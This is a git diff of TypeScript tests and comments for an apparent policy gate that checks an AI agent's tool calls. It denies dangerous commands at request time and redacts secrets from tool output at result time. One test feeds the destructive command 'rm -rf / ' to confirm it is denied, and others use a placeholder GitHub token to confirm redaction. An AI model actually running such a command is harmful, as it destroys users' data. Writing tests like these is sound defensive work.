changed under + * its frozen pattern, `bun run verify:zero-diff` exits 1 from this HEAD, and + * nothing in `.github/workflows/` runs it. The source-text read is what + * shipped and is what the gate above depends on; the constraint that produced + * it is history. The same pragmatism `exportedNames` and `importsSpecifier` * above already apply: a regex precise enough for the shape this codebase * actually writes, with its own meta-tests below, not a TypeScript parser. * @@ -810,7 +832,9 @@ describe("the export-count gate itself", () => { /** * The gate that reads `emptyOutputIsHonest` out of Claude Code's shim is * only worth having if the reading is right, and it reads source text - * because that shim exports none of this and is frozen. So the parser gets + * because that shim exports none of this and, at the time, was frozen -- see + * `hooksWhereEmptyOutputIsDishonest` above for why that is past tense and what + * holds the property now. So the parser gets * the same split treatment `exportedNames` and `importsSpecifier` already * have: the gate asserts about the real file, these assert about the * parser. diff --git a/test/path-dialects.test.ts b/test/path-dialects.test.ts index a9067f33..27f6ba0e 100644 --- a/test/path-dialects.test.ts +++ b/test/path-dialects.test.ts @@ -1,13 +1,15 @@ /** - * One redacted leaf, three path dialects, and the two that can agree by - * derivation. + * Three path dialects, and the agreements this file checks between them. * - * A single rewrite is addressed three different ways along its route: + * A single rewrite is addressed several different ways along its route: * - * AGT policy/manifest.yaml's `policy_target`, JSONPath over the SNAPSHOT - * (`$.tool_call.args.command`, `$.tool_result.outputs[0].value`) - * ACS mapping.yaml's `into_argument` / `into_path`, addressing the ACS - * PAYLOAD (`command`, `/outputs/0/value`) + * AGT policy/manifest.yaml's `policy_target`, JSONPath over the SNAPSHOT. + * For the request gate this is now always the one normalised leaf + * (`$.tool_call.args.acs_policy_target`); for the result gate it is + * still `$.tool_result.outputs[0].value`. + * ACS mapping.yaml's `policy_target_argument` table (per tool, at the + * request gate) and `into_path` (at the result gate), addressing the + * ACS PAYLOAD. * host the hookmap's `outputs.from` / `arguments`, addressing the HOST's own * payload (`$.tool_response.stdout`) * @@ -16,30 +18,47 @@ * moving `policy_target` one field over would leave mapping.yaml describing a * leaf nothing targets, and the demo would simply stop redacting. * - * WHAT IS CHECKED HERE, AND WHY IT IS ONLY TWO OF THE THREE. The AGT and ACS - * dialects address the SAME document -- AGT's snapshot is assembled from the ACS - * payload, member for member (assemble-snapshot.ts) -- so one is derivable from - * the other, and this file derives it. The host dialect is not derivable and - * must not be: `$.tool_response.stdout` addresses a document this project does - * not define, whose shape is the host's own. Absorbing that difference is the - * hookmap's entire job and the reason the same adapter serves a second host, so - * a check that "derived" it would be asserting a coincidence of this one - * deployment. What keeps THAT seam honest is a different mechanism, one gate - * over: `assertOutputIsReplaceable` refuses, before any decision is sought, a - * deployment whose hookmap cannot address a replaceable leaf in the payload it - * was handed. + * THREE AGREEMENTS NOW, NOT ONE DERIVATION. The request gate's manifest + * target no longer names a host argument at all -- AGT allows an + * intervention point exactly one target, and two tools disagree about their + * argument names, so the target instead names the single normalised leaf the + * Guardian writes. What is checked for that gate is therefore that the + * manifest and the assembler (assemble-snapshot.ts's POLICY_TARGET_LEAF) + * name the same leaf, not that the manifest and mapping.yaml derive one + * another. The result gate keeps the original derivation: its target and + * mapping.yaml's `into_path` still address the same document, member for + * member, so one is still derivable from the other. And the by_tool table's + * own agreement with the manifest is checked too, but only for tool + * existence: the manifest registry can say WebFetch is registered, not that + * WebFetch takes a `url`. + * + * The host dialect is not derivable and must not be: `$.tool_response.stdout` + * addresses a document this project does not define, whose shape is the + * host's own. Absorbing that difference is the hookmap's entire job and the + * reason the same adapter serves a second host, so a check that "derived" it + * would be asserting a coincidence of this one deployment. What keeps THAT + * seam honest is a different mechanism, one gate over: `assertOutputIsReplaceable` + * refuses, before any decision is sought, a deployment whose hookmap cannot + * address a replaceable leaf in the payload it was handed. */ import { describe, expect, it } from "bun:test"; import { readFileSync } from "node:fs"; +import { POLICY_TARGET_LEAF } from "../packages/guardian/src/assemble-snapshot.ts"; type ManifestPoint = { policy_target?: string; policy_target_kind?: string }; -type Manifest = { intervention_points: Record }; -type MappingRule = - | { into: "parameter_overrides"; into_argument: string } - | { into: "redactions"; into_path: string }; -type MappingPoint = { acs_method: string | null; modifications?: MappingRule }; +type MappingRule = { into: "parameter_overrides" } | { into: "redactions"; into_path: string }; +type PolicyTargetArgument = { default: string; by_tool?: Record }; +type MappingPoint = { + acs_method: string | null; + policy_target_argument?: PolicyTargetArgument; + modifications?: MappingRule; +}; type Mapping = { intervention_points: Record }; +type Manifest = { + intervention_points: Record; + tools: Record; +}; const manifest = Bun.YAML.parse(readFileSync("policy/manifest.yaml", "utf8")) as Manifest; const mapping = Bun.YAML.parse(readFileSync("mapping.yaml", "utf8")) as Mapping; @@ -82,36 +101,53 @@ describe("the AGT and ACS dialects address the same leaf", () => { const gated = Object.entries(mapping.intervention_points).filter(([, row]) => row.modifications !== undefined); it("covers every point mapping.yaml gives a modifications rule", () => { - // Not a fixed list: a third gate added to the table is a third row this - // file has to check, and discovering them from the table is what makes - // that automatic rather than remembered. expect(gated.map(([point]) => point).sort()).toEqual(["post_tool_call", "pre_tool_call"]); }); - for (const [point, row] of gated) { - it(`${point}: mapping.yaml's land field is derivable from the manifest's policy_target`, () => { - const policyTarget = manifest.intervention_points[point]?.policy_target; - expect(policyTarget).toBeString(); + // AGREEMENT ONE. The request gate's manifest target no longer names a host + // argument at all: it names the single normalised leaf the Guardian writes + // every tool's policy target to, because AGT allows an intervention point + // exactly one target and two tools disagree about their argument names. So + // what is derived here is that the manifest and the assembler name the SAME + // leaf -- one derivation, as before, of a different pair. + it("pre_tool_call: the manifest targets the leaf the assembler writes", () => { + const policyTarget = manifest.intervention_points.pre_tool_call?.policy_target; + expect(policyTarget).toBeString(); + const derived = acsAddressOf(policyTarget as string); + expect(derived.kind).toBe("argument"); + expect(derived.address).toBe(POLICY_TARGET_LEAF); + }); - const derived = acsAddressOf(policyTarget as string); - const rule = row.modifications as MappingRule; + // AGREEMENT TWO, unchanged: the result gate rewrites a leaf of the result + // payload, addressed by an ACS JSON pointer derived from the same JSONPath. + it("post_tool_call: mapping.yaml's pointer is derivable from the manifest's policy_target", () => { + const policyTarget = manifest.intervention_points.post_tool_call?.policy_target; + expect(policyTarget).toBeString(); + const derived = acsAddressOf(policyTarget as string); + const rule = mapping.intervention_points.post_tool_call?.modifications as { into: "redactions"; into_path: string }; + expect(derived.kind).toBe("pointer"); + expect(rule.into_path).toBe(derived.address); + }); - if (rule.into === "parameter_overrides") { - expect(derived.kind).toBe("argument"); - expect(rule.into_argument).toBe(derived.address); - } else { - expect(derived.kind).toBe("pointer"); - expect(rule.into_path).toBe(derived.address); + // AGREEMENT THREE, and the honest half of it is stated in the test's own + // name. The registry can say WebFetch is registered; it cannot say WebFetch + // takes a `url`. Same limit the upstream watch measured for hookmap `tools` + // entries, and for the same reason: one manifest serves both hosts, so it + // names more tools than either dispatches. + it("every tool the by_tool table keys is one the manifest registry knows -- existence only, not argument shape", () => { + const registered = new Set(Object.keys(manifest.tools ?? {})); + for (const [point, row] of Object.entries(mapping.intervention_points)) { + for (const tool of Object.keys(row.policy_target_argument?.by_tool ?? {})) { + expect({ point, tool, registered: registered.has(tool) }).toEqual({ point, tool, registered: true }); } - }); - } + } + }); - it("fails when the two files disagree, which is the whole point", () => { - // The drift this exists to catch, exercised directly: a manifest edited to - // target a different argument while mapping.yaml still names the old one. - expect(acsAddressOf("$.tool_call.args.script").address).not.toBe( - (mapping.intervention_points.pre_tool_call?.modifications as { into_argument: string }).into_argument, - ); + it("declares a default argument for every gate that rewrites one", () => { + for (const [point, row] of gated) { + if ((row.modifications as MappingRule).into !== "parameter_overrides") continue; + expect({ point, declared: typeof row.policy_target_argument?.default }).toEqual({ point, declared: "string" }); + } }); it("refuses a policy_target shape it cannot express, rather than passing by default", () => { diff --git a/test/redaction.test.ts b/test/redaction.test.ts index 5b606773..8d9a9eb0 100644 --- a/test/redaction.test.ts +++ b/test/redaction.test.ts @@ -1,11 +1,14 @@ import { describe, expect, it } from "bun:test"; import { fileURLToPath } from "node:url"; -// Relative, not the bare `agt-bridge` specifier: the workspace package is -// linked only into packages/guardian/node_modules (its sole declared -// consumer), so a bare import does not resolve from this directory and would -// fail both `bun test` and `tsc`. Same precedent as -// audit-sink-roundtrip.test.ts reaching packages/inspector/src directly. -import { createBridge } from "../packages/agt-bridge/src/index.ts"; +import { POLICY_TARGET_LEAF } from "guardian"; +// The deployment subpath, not the barrel: the barrel is the governance verbs, +// and this is how the deployment builds a bridge. Using it rather than +// `createBridge` directly is what makes the bridges below the same ones a real +// Guardian evaluates against -- annotator included. The result-gate tests here +// would survive a bare bridge (that point declares no `annotations`), but a +// bridge that behaves like the deployment's at one gate and not the other is a +// trap for whoever adds the next test. +import { createDeploymentBridge } from "guardian/deployment"; const MANIFEST = fileURLToPath(new URL("../policy/manifest.yaml", import.meta.url)); const budgets = { budgets: { tool_call_count: 0, token_count: 0, elapsed_seconds: 0, cost_usd: 0 } }; @@ -23,7 +26,7 @@ const publicLabel = { input: { ifc: { source_labels: ["public"] } } }; describe("the shipped bundle redacts at the result gate", () => { it("returns a transform carrying the fully substituted output", async () => { - const bridge = createBridge(MANIFEST); + const bridge = createDeploymentBridge(MANIFEST); const verdict = await bridge.evaluate("post_tool_call", { envelope: budgets, tool_call: { name: "Bash" }, @@ -42,7 +45,7 @@ describe("the shipped bundle redacts at the result gate", () => { // Pinned because the Guardian synthesizes that member from the ACS payload, // and nothing else would notice if it stopped. it("fails closed when the snapshot carries no tool_call", async () => { - const bridge = createBridge(MANIFEST); + const bridge = createDeploymentBridge(MANIFEST); const verdict = await bridge.evaluate("post_tool_call", { envelope: budgets, tool_result: { outputs: [{ value: "TOKEN=ghp_ABCDEF123456" }] }, @@ -52,7 +55,7 @@ describe("the shipped bundle redacts at the result gate", () => { }); it("leaves output with nothing to redact as a clean allow", async () => { - const bridge = createBridge(MANIFEST); + const bridge = createDeploymentBridge(MANIFEST); const verdict = await bridge.evaluate("post_tool_call", { envelope: budgets, tool_call: { name: "Bash" }, @@ -73,10 +76,22 @@ describe("the shipped bundle redacts at the result gate", () => { // manifest. This is the assertion that would catch an additive manifest // edit turning out not to be additive. it("leaves the pre-tool deny exactly as it was", async () => { - const bridge = createBridge(MANIFEST); + const bridge = createDeploymentBridge(MANIFEST); const verdict = await bridge.evaluate("pre_tool_call", { envelope: budgets, - tool_call: { name: "Bash", args: { command: "rm -rf / " } }, + // `raw_command` for the same reason POLICY_TARGET_LEAF is here: this + // point declares `annotations.egress.from: "$.tool_call.raw_command"`, + // and that path is a liveness precondition -- unresolved, AGT denies + // on runtime_error:path_missing before the pattern rule under test + // runs. Every Guardian-assembled snapshot carries it + // (packages/guardian/src/assemble-snapshot.ts), so this stand-in does + // too. The post_tool_call fixtures above need none: `annotations` is + // declared on the request gate only. + tool_call: { + name: "Bash", + args: { command: "rm -rf / ", [POLICY_TARGET_LEAF]: "rm -rf / " }, + raw_command: "rm -rf / ", + }, ...publicLabel, }); expect(verdict.decision).toBe("deny");